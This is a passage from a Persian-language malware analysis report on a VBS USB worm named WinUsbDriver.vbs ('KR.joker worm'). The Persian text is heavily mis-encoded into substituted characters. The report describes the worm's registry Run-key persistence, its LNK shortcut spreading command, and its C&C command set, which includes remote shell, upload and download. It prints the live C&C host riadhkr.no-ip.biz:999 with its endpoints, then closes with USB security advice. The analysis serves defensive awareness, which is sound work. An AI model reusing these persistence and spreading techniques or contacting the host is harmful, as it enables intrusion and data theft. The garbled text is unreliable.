آٍضزُ ٍ ؾپؽ زؾتَض زضٍى آى ضا اجطا هی کٌس. زض ٍاقغ کس انلی هرطة ایي ثسافعاض زض ایي هطحلِ ثسؾت 
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ضا  SysDateکطزُ ٍ هتغیط ضا کبهٌت  executeGlobalذَاّس آهس. ثطای ضهع گكبیی کس انلی، زؾتَض 

 زضٍى یک فبیل شذیطُ هی کٌین. فبیل حبنل کس اظ اثْبم زض آهسُ ثسافعاض ذَاّس ثَز.

 :Base64تَاثغ ضهعًگبضی ٍ ضهعگكبیی 
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 هتغیشّای پیکشتٌذی 6-1-2

زض ثرف ًرؿتیي اؾکطیپت ثسافعاض، هتغیطّبیی ثِ ػٌَاى هتغیطّبی پیکطثٌسی ثب هقبزیطی کِ زض تهَیط 

 بثل هكبّسُ اؾت تؼطیف قسُ اًس:ظیطق

 

 

ثطای کبض ثب فبیل ّب ٍ فَلسض ّب تؼطیف قسُ اؾت.  fsoپؽ اظ هتغیطّبی پیکطثٌسی، هتغیطی ػوَهی ثِ ًبم 

ٍ اجطای زؾتَضات آى اؾتفبزُ قسُ اؾت. زٍ هتغیط ثِ ًبم ّبی  cmdًیع ثطای کبض ثب  wshّوچٌیي هتغیط 

HKCU  ٍHKLM  ًیع ثِ زٍ هؿیط اظ ضجیؿتطی ٍیٌسٍظ اقبضُ هی کٌٌس کِ ثسافعاض ثطای پبیساضی ذَز زض

 ّط ثبض اجطای ٍیٌسٍظ اظ آى ّب اؾتفبزُ هی کٌس:
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ًبم ثسافعاض ضا هكرم کطزُ  wormnameتؼساز زیگطی هتغیط ًیع َجق تهَیط ظیط تؼطیف قسُ اًس. هتغیط 

قس. ّوبى ََض کِ اظ ًبم ثسافعاض ًیع ثط هی آیس، ایي کطم ثِ هی ثب WinUsbDriver.vbsاؾت کِ هقساض آى 

کِ هؿیط ًهت  pathinstallقطاض زازُ اؾت. هتغیط  usbََض اذتهبنی ّسف اًتكبض ذَز ضا زضایَّبی 

ٍیٌسٍظ ضا زض ذَز  tempثسافعاض ضا هكرم ذَاّس کطز، زض هَقؼی کِ ثسافعاض اؾکطیپت اجطا هی قَز، هؿیط 

 ٍیٌسٍظ قطاض ذَاّس زاز. tempًكبى هی زّس ثسافعاض فبیل انلی ذَز ضا زضٍى فَلسض  زّس. ایي قطاض هی

هی ثبقس. ایي هتغیط هقساض  VbsSeparatorهتغیطی کِ زض ثؿیبضی اظ تَاثغ اؾکطیپت اؾتفبزُ قسُ اؾت، 

ػٌَاى  ضا زضٍى ذَز جبی زازُ اؾت. ثسافعاض اظ ایي ضقتِ ثطای جسا کطزى پبضاهتطّبی یک کَئطی )ثِ <|>

 ( اؾتفبزُ هی کٌس.C&Cهثبل یک زضذَاؾت ثِ ؾوت ؾطٍض 

 

 

 

 تذًِ اصلی اسکشیپت تذافضاس 6-1-3

ضا فطاذَاًی هی کٌس. ؾپؽ زضٍى  instanceثسًِ انلی اؾکطیپت ثِ نَضت ظیط اؾت. ثسافعاض ًرؿت تبثغ 

 is-readyضا فطاذَاًی نسا هی ظًس ٍ پؽ اظ آى زضذَاؾت  WormInstallیک حلقِ ثی ًْبیت ّط ثبض تبثغ 

اضؾبل هی کٌس. ایي زضذَاؾت ثِ ؾطٍض هی فْوبًس کِ ثسافعاض اجطا قسُ  C&Cثِ ؾطٍض  postضا تَؾٍ تبثغ 

ٍ آهبزُ اًجبم زؾتَضات اؾت. ثسافعاض هٌتظط جَاة اظ ؾَی ؾطٍض هی هبًس. ؾطٍض زض جَاة یک زؾتَض ّوطاُ 

ى )زض نَضت ٍجَز( ضا ثِ ثسافعاض اضؾبل هی کٌس ٍ ثسافعاض هُبثق ثب زؾتَض، ػولیبت هكرهی ضا ثب پبضاهتطّبی آ

 اًجبم هی زّس. پؽ اظ اًجبم ػولیبت، هجسزا ثِ اٍل حلقِ هی ضٍز ٍ هٌتظط زؾتَض ثؼسی ذَاّس قس.
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 لیؿت زؾتَضات ؾطٍض زض جسٍل ظیط آهسُ اؾت:



  

20 

 

 
 

 عولیات ًام دستَر

execute 
ایی ضا کِ زضٍى پبضاهتط اضؾبلی قطاض زازُ قسُ اؾت، زض اؾکطیپت  vbsزؾتَض 

 جبضی اجطا هی کٌس.

update  

uninstall 
فطاذَاًی قسُ ٍ ثسافعاض ٍ آثبض آى اظ ؾیؿتن ٍ زیؿک ّبی  uninstallتبثغ 

 هتهل ثِ کبهپیَتط حصف هی قَز.

send 

قسُ اؾت، تَؾٍ تبثغ فبیلی کِ هؿیط آى زضٍى پبضاهتط اضؾبلی اٍل قطاض زازُ 

download  اظ ؾطٍضC&C  زاًلَز ٍ زض هؿیطی کِ زضٍى پبضاهتط اضؾبلی

 زٍم قطاض زاضز شذیطُ هی قَز.

site-send 

فبیلی کِ هؿیط آى زضٍى پبضاهتط اضؾبلی اٍل قطاض زازُ قسُ اؾت، تَؾٍ تبثغ 

download اض اظایٌتطًت زاًلَز ٍ زض هؿیطی کِ زضٍى پبضاهتط اضؾبلی زٍم قط

 زاضز شذیطُ هی قَز.

recv 
فبیلی کِ هؿیط آى زضٍى پبضاهتط اضؾبلی قطاض زازُ قسُ اؾت، تَؾٍ تبثغ 

upload  ثِ ؾوت ؾطٍضC&C .آپلَز هی قَز 

enum-driver 

ثسؾت  ListeDriverًرؿت لیؿت زضایَّبی کبهپیَتط قطثبًی تَؾٍ تبثغ 

ضؾبل هی قَز. ثِ ؾوت ؾطٍض ا postهی آیس ٍ ؾپؽ ذطٍجی آى تَؾٍ تبثغ 

 هی ثبقس. is-enum-driverزضذَاؾت اضؾبلی ثِ ؾطٍض 

enum-faf 

ًرؿت لیؿت فبیل ّب ٍ فَلسضّبی زضٍى فَلسضی کِ آزضؼ آى زضٍى پبضاهتط 

ثسؾت هی آیس ٍ ؾپؽ  ListeFoldersFilesاضؾبلی اؾت تَؾٍ تبثغ 

ثِ ؾوت ؾطٍض اضؾبل هی قَز. زضذَاؾت  postذطٍجی آى تَؾٍ تبثغ 

 هی ثبقس. is-enum-fafاضؾبلی ثِ ؾطٍض 

enum-process 

ثسؾت هی آیس  ListeProcessًرؿت لیؿت پطٍؾِ ّبی کًٌَی تَؾٍ تبثغ 

ثِ ؾوت ؾطٍض اضؾبل هی قَز.  postٍ ؾپؽ ذطٍجی آى تَؾٍ تبثغ 

 هی ثبقس. is-enum-processزضذَاؾت اضؾبلی ثِ ؾطٍض 

cmd-shell 

زؾتَضی کِ ثِ ػٌَاى پبضاهتط اظ ؾَی ؾطٍض اضؾبل قسُ اؾت، ًرؿت زض 

cmd  تَؾٍ تبثغCmdCommand  اجطا هی قَز ٍ ؾپؽ ذطٍجی آى

ثِ ؾوت ؾطٍض اضؾبل هی قَز. زضذَاؾت اضؾبلی ثِ ؾطٍض  postتَؾٍ تبثغ 
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is-cmd-shell .هی ثبقس 

delete 
بضاهتط اظ ؾَی ؾطٍض اضؾبل قسُ فبیل ٍ یب فَلسضی کِ آزضؼ آى ثِ ػٌَاى پ

 حصف هی قَز. deletefafاؾت، تَؾٍ تبثغ 

exit-process 
 ProcessExitکِ زض پبضاهتط آهسُ اؾت، تَؾٍ تبثغ  pidپطٍؾِ ثب هقساض 

 هتَقف هی قَز.

sleep .هُبثق هقساض پبضاهتط ثِ ثبًیِ، ثسافعاض تَقف هی کٌس 

 

 instanceتاتع  6-1-4

هی ثبقس. ایي تبثغ ًرؿت هقساض زضٍى کلیس  instanceاٍلیي تبثؼی کِ تَؾٍ ثسافعاض فطاذَاًی هی قَز تبثغ 

 ضجیؿتطی ظیط ضا هی ذَاًس:

"HKEY_LOCAL_MACHINE\software\WinUsbDriver\" 

ثب  زض نَضتی کِ هقساض هصکَض ٍجَز ًساقت، تبثغ ثطضؾی هی کٌس کِ آیب ًبم اؾکطیپت زض حبل اجطا ثطاثط

WinUsbDriver  اؾت یب ذیط. زض نَضتی کِ ثطاثط ثَز هقساضtrue-date  زض غیط ایي نَضت هقساض ٍ

false-date ( ضا زضٍى کلیس ضجیؿتطی ثبلا هی ًَیؿسdate .)ثطاثط ثب تبضید فؼلی ؾیؿتن قطثبًی اؾت 

زضٍى ؾیؿتن قطثبًی فطاذَاًی هی قَز. کبض انلی ایي تبثغ پبیساض ؾبظی ثسافعاض  WormStartؾپؽ تبثغ 

ضا قطاض هی  wscript.exe //b scriptfilenameاؾت. ایي تبثغ زضٍى کلیسّبی ضجیؿتطی ظیط، هقساض 

 زّس:

"HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\Wi

nUsbDriver" 

"HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\

WinUsbDriver" 

اجطا هی قَز. فبیل  wscript.exeثب ایي کبض زض ّط ثبض اجطای ٍیٌسٍظ، اؾکطیپت ثسافعاض تَؾٍ ثطًبهِ  

wscript.exe  هؿئَلیت اجطای اؾکطیپت ّبیvbs  فبیل ضا زض ٍیٌسٍظ ثِ ػْسُ زاضز. ایي ثطًبهِ یک

ؾپؽ فبیل فؼلی  WormStartاؾکطیپت ضا ثِ ػٌَاى آضگَهبى هی گیطز ٍ اؾکطیپت ضا اجطا هی کٌس. تبثغ 

 ٍیٌسٍظ کپی هی کٌس. ثب ایي کبض ثسافعاض ذَز ضا ثِ نَضت پبیساض زض هی آٍضز: tempاؾکطیپت ضا زضٍى هؿیط 
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لی فبیل ثسافعاض ثسؾت آهسُ ٍ هؿیط ًهت ، ًبم فؼinstance، زض ازاهِ تبثغ WormStartپؽ اظ اجطای تبثغ  

قطاض  installfullnameshortثب ًبم ثسافعاض ؾبذتِ هی قَز کِ زضٍى هتغیط  tempثسافعاض اظ تطکیت هؿیط 

زازُ هی قَز. زض نَضتی کِ ایي هؿیط ثب هؿیط فبیل فؼلی اؾکطیپت یکی ًجَز یؼٌی اؾکطیپت زض حبل حبيط 

اقسام ثِ اجطای اؾکطیپت  wscript.exeز. پؽ اؾکطیپت ثب اجطای فبیل قطاض ًساض tempًهت ًكسُ ٍ زضٍى 

هی کٌس ٍ اؾکطیپت فؼلی ثؿتِ هی قَز. زض نَضتی کِ اؾکطیپت فؼلی، ّوبى  tempثسافعاض هَجَز زض 

قطاض زازُ ٍ ازاهِ کس  oneonceثبقس، ثسافعاض هؿیط آى ضا زضٍى هتغیط  tempاؾکطیپت هَجَز زض فَلسض 

 هی قَز: اؾکطپیت اجطا
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 WormInstallتاتع  6-1-5

ایي تبثغ ًرؿت لیؿت کل زضایَّبی هتهل ثِ ؾیؿتن قطثبًی ضا ثسؾت هی آٍضز. ؾپؽ ؾِ قطٌ ثط ضٍی ّط 

اؾت کِ زیؿک آهبزُ ثِ  trueثَزى زضایَ اؾت کِ زض نَضتی  isreadyزیؿک ثطضؾی هی کٌس. قطٌ اٍل 

ت. قطٌ ؾَم ایي اؾت کِ زیؿک اظ ًَع پطتبثل کبض ثبقس. قطٌ زٍم ٍجَز فًبی ذبلی ثط ضٍی زیؿک اؾ

هكرم هی قَز کِ زض نَضتی کِ  drive.drivetype( ثبقس. ایي قطٌ ثب ثطضؾی هقساض usb)زیؿک 

 اؾت. USBیب ّوبى یک زیؿک  removeableثبقس یؼٌی زیؿک اظ ًَع  1هقساض آى ثطاثط ثب 

 WinUsbDriverزض نَضتی کِ زیؿک ؾِ قطٌ شکط قسُ ضا زاضا ثبقس، فبیل اؾکطیپت ثسافعاض زضٍى فَلسض 

زض ذَاّس آهس )ثب  System+Hiddenثِ نَضت  WinUsbDriverزیؿک کپی هی قَز. ؾپؽ فَلسض 

 (.4+2ثِ هقساض  attributesتٌظین ٍیػگی 

 یبت ظیط اًجبم ذَاّس قس:ؾپؽ ثِ اظای ّط فبیل ٍ یب فَلسض هَجَز زض زیؿک ػول

 زض ذَاٌّس آهس. System  ٍHiddenفبیل ٍ یب فَلسض ثِ نَضت 

 ایجبز ذَاّس قس. LNK.ّن ًبم فبیل ٍلی ثب پؿًَس  shortcutیک فبیل  -1

 زؾتَض ظیط قطاض زازُ ذَاّس قس: LNKزضٍى فبیل  -2

cmd /c start WinUsbDriver.vbs&start filename&exit 

 ثطاثط ثب ًبم فبیل انلی اؾت. filenameکِ 

ثطاثط ثب آیکَى فَلسضّبی ٍیٌسٍظ ذَاّس قس زض غیط  LNKزض نَضتی کِ فَلسض ثبقس، آیکَى فبیل  -3

 ثطاثط ثب آیکَى ذَز فبیل انلی ذَاّس ثَز. LNKایٌهَضت آیکَى 

ک ضا هكبّسُ هی ضٍز، ثِ ظبّط فبیل ّب ٍ فَلسضّبی زیؿ USBثب ایي کبض، کبضثط ّط ثبض کِ ثِ زضٍى زیؿک 

ّبیی ّؿتٌس کِ ثب ّط ثبض کلیک ثط ضٍی آى ّب، اؾکطیپت ثسافعاض  shortcutهی کٌس. زض نَضتی کِ ایي ّب 

اجطا قسُ ٍ ثسافعاض ثط ضٍی کبهپیَتط قطثبًی شذیطُ ٍ پبیساض هی قَز ٍ اقسام ثِ جبؾَؾی ٍ زیگط ػولیبت 

ز، پؽ اظ اجطای اؾکطیپت، فبیل انلی هَجَز زض هرطة ذَاّس کطز. الجتِ ثسافعاض ثطای َجیؼی جلَُ زازى ذَ

 زیؿک ضا ًیع اجطا هی کٌس.
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 CMDتاتع اجشای دستَسات  6-1-6

 اجطا ٍ ذطٍجی زؾتَض ضا ثط هی گطزاًس: cmdایي تبثغ زؾتَضی ضا ثِ ػٌَاى ٍضٍزی هی پصیطز ٍ آى ضا تَؾٍ 

 

 

 تاتع حزف یک فایل ٍ یا یک فَلذس 6-1-7

 

 

 (pidاستفادُ اص شٌاسِ پشٍسِ )تاتع تستي یک پشٍسِ تا  6-1-8
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 تاتع تذست آٍسدى لیست پشٍسِ ّای کًٌَی دس ٍیٌذٍص 6-1-9

 

 

 تاتع تذست آٍسدى لیست فایل ّا ٍ فَلذسّای دسٍى یک فَلذس 6-1-12

 ایي تبثغ ثِ نَضت ثبظگكتی لیؿت کبهل فَلسضّب ٍ فبیل ّبی زضٍى یک فَلسض ضا ثسؾت هی آٍضز.

 

 

 تاتع تذست آٍسدى لیست دسایَّا 6-1-11
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 ٍ رخیشُ آى دس هحلی اص دیسک C&Cتاتع داًلَد یک فایل اص سشٍس  6-1-12

زاًلَز  C&C. ؾپؽ هحتَای فبیل ضا اظ ؾطٍض ( هی گیطزfileurlایي تبثغ ًبم یک فبیل ضا ثِ ػٌَاى پبضاهتط )

ثِ  postاظ ًَع  httpزذیطُ هی کٌس. ثطای زاًلَز فبیل، یک ثؿتِ  filedirکطزُ ٍ ًتیجِ ضا زضٍى هؿیط 

ثسافعاض اؾت،  C&Cکِ ؾطٍض  http://MasterHost:BackdoorPort/is-sending<|>fileurlآزضؼ 

ٍ  ”MasterHost ،“riadhkr.no-ip.bizاضؾبل هی گطزز کِ َجق هقبزیط هتغیطّبی پیکطثٌسی هقساض 

-C&C ،http://riadhkr.noزض ٍاقغ آزضؼ زاًلَز اظ ؾطٍض  .هی ثبقس ”BackdoorPort ،“999هقساض 

ip.biz:999/is-sending<|>fileurl .هی ثبقس 
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 C&Cتاتع آپلَد فایل اص دیسک تِ سوت سشٍس  6-1-13

. ؾپؽ هحتَای فبیل ضا ذَاًسُ ٍ آى ضا زض قبلت ( هی گیطزfileurlایي تبثغ ًبم یک فبیل ضا ثِ ػٌَاى پبضاهتط )

 http://MasterHost:BackdoorPort/is-recving<|>fileurlثِ آزضؼ  postاظ ًَع  httpیک ثؿتِ 

، MasterHostثسافعاض اؾت، اضؾبل هی کٌس کِ َجق هقبزیط هتغیطّبی پیکطثٌسی هقساض  C&Cکِ ؾطٍض 

“riadhkr.no-ip.biz”  هقساض ٍBackdoorPort ،“999” زض ٍاقغ آزضؼ آپلَز ؾطٍض  .هی ثبقسC&C ،

http://riadhkr.no-ip.biz:999/is-recving<|>fileurl .هی ثبقس 

 

 

 C&Cتاتع اسسال یک دسخَاست تِ سوت سشٍس  6-1-14

ضا ثِ ػٌَاى ٍضٍزی هی گیطز. پبضاهتط اٍل زضذَاؾتی اؾت کِ  cmd  ٍparamایي تبثغ زٍ پبضاهتط ثِ ًبم ّبی 

ًیع هتي زضذَاؾت اؾت. زضذَاؾت زض قبلت یک ثؿتِ  paramاضؾبل ذَاّس کطز ٍ  C&Cثِ ؾوت ؾطٍض 

http  اظ ًَعpost ثِ آزضؼ http://MasterHost:BackdoorPort/cmd  کِ ؾطٍضC&C  ثسافعاض

 ”MasterHost ،“riadhkr.no-ip.bizاؾت، اضؾبل هی گطزز کِ َجق هقبزیط هتغیطّبی پیکطثٌسی هقساض 

-C&C ،http://riadhkr.noزض ٍاقغ آزضؼ زاًلَز اظ ؾطٍض  .هی ثبقس ”BackdoorPort ،“999ٍ هقساض 

ip.biz:999/cmd .هی ثبقس 
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 تاتع تذست آٍسدى لیست آًتی ٍیشٍس ّای ًصة شذُ تش سٍی سیستن قشتاًی 6-1-15

 

 تاتع داًلَد یک فایل اص ایٌتشًت 6-1-16

 C&Cیک یک فبیل ضا فقٍ اظ ؾطٍض  downloadایي اؾت کِ تبثغ  downloadتفبٍت ایي تبثغ ثب تبثغ 

ٍ یک هؿیط شذیطُ ؾبظی ضا ثِ  urlزاًلَز ٍ ثط ضٍی کبهپیَتط کبضثط شذیطُ هی کٌس ٍلی ایي تبثغ یک هؿیط 

 زاًلَز کطزُ ٍ ؾپؽ زض هؿیط زیؿک شذیطُ هی کٌس:  urlػٌَاى پبضاهتط هی گیطز. فبیل ضا اظ هؿیط 
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 تاتع تذست آٍسدى هشخصات سیستن عاهل قشتاًی 6-1-17

 the KR.jokerایي تبثغ زض ٍاقغ ًؿرِ ؾیؿتن ػبهل قطثبًی ضا ثسؾت آٍضزُ ٍ ثط هی گطزاًس. ػجبضت 

worm .ًیع ثِ نَضت ثبثت ثِ ایي هركهبت ايبفِ ذَاّس قس 

 

 

 تاتع تذست آٍسدى شٌاسِ کاستشی قشتاًی 6-1-18

 ایي قٌبؾِ زض ٍاقغ قوبضُ ؾطیبل زیؿک هی ثبقس.
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 USBهخشب اص سیستن ٍ دسایَسّای تاتع حزف ٍ پاکساصی تذافضاس  6-1-19

ًرؿت زٍ هقساض ضجیؿتطی تٌظین قسُ تَؾٍ ثسافعاض اظ ؾیؿتن قطثبًی حصف هی قَز. ؾپؽ فبیل انلی 

ثسافعاض ًیع اظ زیؿک حصف ذَاّس قس. ؾپؽ ثسافعاض ثِ جؿتجَی زضایَّبی هتهل هی پطزاظز. زض ّط زایَض 

اؾت ضا حصف ٍ ؾپؽ  USBثط ضٍی زضایَّبی  ؾبذتِ قسُ کِ ػبهل اًتكبض هجسز ثسافعاض LNKفبیل 

 ثِ نفط( ثِ حبلت اٍلیِ ٍ ًطهبل ثط هی گطزاًس. attributesفَلسضّبی هرفی قسُ ضا )اظ َطیق تٌظین هقساض 
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 ًتیجِ گیشی ٍ پیشٌْادات  7

، ثبلا ثطزى آگبّی اظ تْسیسّبیی اؾت کِ هوکي اؾت ههطف کٌٌسگبى ٍ کؿت ٍ گعاضـّسف انلی ایي 

 کبضّب آى ّب ضا ًبزیسُ ثگیطًس. 

هعایبی ثؿیبضی زاضًس: فكطزُ، ؾطیغ ٍ یک اثعاض تجبضی هفیس ّؿتٌس اهب ذَز ایي زؾتگبُ ّب،  USB زضایَّبی

آى ّب هتهل هی قًَس ّوگی ثِ ََض  زازُ ّبیی کِ ثط ضٍی آى ّب شذیطُ هی قًَس ٍ کبهپیَتطّبیی کِ ثِ

 ثبلقَُ آؾیت پصیط ّؿتٌس اگط هحبفظتی ثطای آى ّب زض ًظط گطفتِ ًكَز. 

ذَقجرتبًِ، ضاّکبضّبی هَثطی ثطای ههطف کٌٌسگبى ٍ ؾبظهبى ّب ٍجَز زاضز کِ هی تَاًٌس اؾتفبزُ اظ 

 ضا ایوي کٌٌس.  USBزؾتگبُ ّبی 

 : USBپیكٌْبزاتی ثطای توبهی کبضثطاى 

 آیب هی زاًیس اظ کجب آهسُ اًس؟  –طاقت زؾتگبُ ّبیی کِ ثِ کبهپیَتط ذَز هتهل هی کٌیس ثبقیس ه 

  زؾتگبُ ّبیUSB  ثِ ایي  –ضهعگصاضی قسُ هطثٌَ ثِ هبضک ّبی قبثل اػتوبز ضا ذطیساضی کٌیس

 تطتیت قوب هی زاًیس کِ زازُ ّبی قوب ایوي ّؿتٌس حتی اگط زؾتگبُ ضا گن کٌیس. 

 یقسُ ضٍ طُیکِ توبم اَلاػبت شذ سیحبنل کٌ ٌبىیاَو USB ًًس. قسُ ا یضهعگصاض عی 

  یک ضاُ حل اهٌیتی زاقتِ ثبقیس کِ ّوِ ضؾبًِ ّبی قبثل حول ضا قجل اظ اتهبل ثِ کبهپیَتط اظ ًظط

حتی هبضک ّبی قبثل اػتوبز ًیع هوکي اؾت زض َی ظًجیطُ  –ٍجَز ًطم افعاض هرطة ثطضؾی کٌس 

 ػطيِ ذَز زض هؼطو آلَزگی قطاض گیطًس. 

 پیكٌْبزات ايبفی ثطای کؿت ٍ کبضّب: 

 اؾتفبزُ اظ زؾتگبُ ّبی USB  ضا هسیطیت کٌیس: تؼییي کٌیس کِ کساهیک اظ زؾتگبُ ّبیUSB  

 تَاًٌس تَؾٍ چِ کؿی ٍ ثطای چِ کبضی اؾتفبزُ قًَس  هی

  قیَُ ّبی هطثٌَ ثِ آهَظـUSB  ثِ ٍیػُ اگط آى ّب زؾتگبُ ّبی  – اهي ضا ثِ کبضکٌبىUSB  ضا

 ثیي کبهپیَتطّبی ذبًِ ٍ هحیٍ کبض جبثجب هی کٌٌس. 

 USB  .ّب ضا زض زؾتطؼ ٍ یب ضٍی نفحِ ًوبیف ًگصاضیس 
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 هٌاتع 8

 https://msdn.microsoft.com/en-us/library/dd871305.aspx 

 https://www.sentryo.net/usb-flash-drives-serious-cyber-threat-industrial-

systems/ 

 https://securelist.com/usb-threats-from-malware-to-miners/87989/ 

 https://threats.kaspersky.com/en/threat/Worm.VBS.Dinihou/ 

 https://blog.trendmicro.com/trendlabs-security-intelligence/rising-trend-

attackers-using-lnk-files-download-malware/ 


